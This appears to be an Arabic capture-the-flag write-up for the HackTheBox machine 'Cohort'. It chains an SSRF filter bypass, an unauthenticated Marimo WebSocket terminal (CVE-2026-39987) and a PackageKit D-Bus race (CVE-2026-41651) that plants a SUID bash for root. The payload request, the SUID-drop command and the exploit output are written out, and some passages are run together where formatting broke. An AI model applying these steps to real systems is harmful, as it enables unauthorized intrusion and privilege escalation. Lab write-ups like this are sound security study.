
HTB Cohort - SSRF، Marimo RCE قبل المصادقة (CVE-2026-39987) و PackageKit privesc (CVE-2026-41651)
الجهاز Cohort (HackTheBox). سلسلة القتل الكاملة:
/api/validate) → اكتشاف vhost داخليmarimoالأعلام غير مُضمَّنة عمداً (قواعد HTB).
10.129.93.8 cohort.htb
/api/...)nb-1be3782a8afd3ad5.cohort.htb)، غير مكشوف خارجياًكشف التطبيق عن نقطة نهاية للتحقق من صحة URL تجلب المحتوى البعيد وتعكسه. كان يمكن تجاوز مرشح URL بترميز عنوان loopback:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
أصاب هذا nginx الداخلي وكشف عن upstreams المُهيَّأة، بما في ذلك
vhost الداخلي لـ Marimo nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.
معالج WebSocket terminal في Marimo notebook لم يتحقق من المصادقة.
الاتصال بـ /terminal/ws يُنشئ shell bash عبر pty.fork().
كان vhost الداخلي قابلاً للوصول عبر nginx الخارجي بإرسال ترويسة
Host الداخلية:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
النتيجة: shell باسم marimo (uid 1000).
marimodpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit تطابق نمط TOCTOU القابل للاستغلالuser.txt في /home/marimo/user.txtيحتوي PackageKit 1.2.8 على خلل time-of-check / time-of-use: دور المعاملة
والأعلام التي يقرأها GLib idle callback يمكن التلاعب بها عبر إصدار استدعاءين
غير متزامنين لـ D-Bus على نفس المعاملة، بحيث ينفذ الـ backend المميز الاستدعاء
الثاني (الدور NONE، بدون فحص مصادقة) رغم أن الأول (SIMULATE) قد اجتاز
فحص التفويض بالفعل.
يُصدر الاستدعاءان تتابعاً على نفس المعاملة:
InstallFiles(SIMULATE=4) — يجتاز فحص تفويض polkitInstallFiles(NONE=0) — يحمل ملف .deb الخبيث، يُقرأ كجزء من نفس
دفعة الرسائليشغّل ملف .deb الخبيث سكربت postinst بصلاحيات root يُسقط SUID bash:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
تفصيل أساسي: يجب دفع الاستدعاءين معاً حتى يقرأ الـ backend الرسالتين
في دفعة واحدة. استخدم GIO async call() + flush_sync():
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
استخدم الاستغلال الأولي python-dbus:
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
يُسلسل python-dbus استدعاءَي InstallFiles في كتابات منفصلة، لذا عالج
idle callback في الـ backend كل حدث على حدة ولم ينجح التلاعب أبداً.
يرسل flush_sync من GIO رسالتي D-Bus في دفعة كتابة واحدة → نجح التلاعب.
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt قابل للقراءة.
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)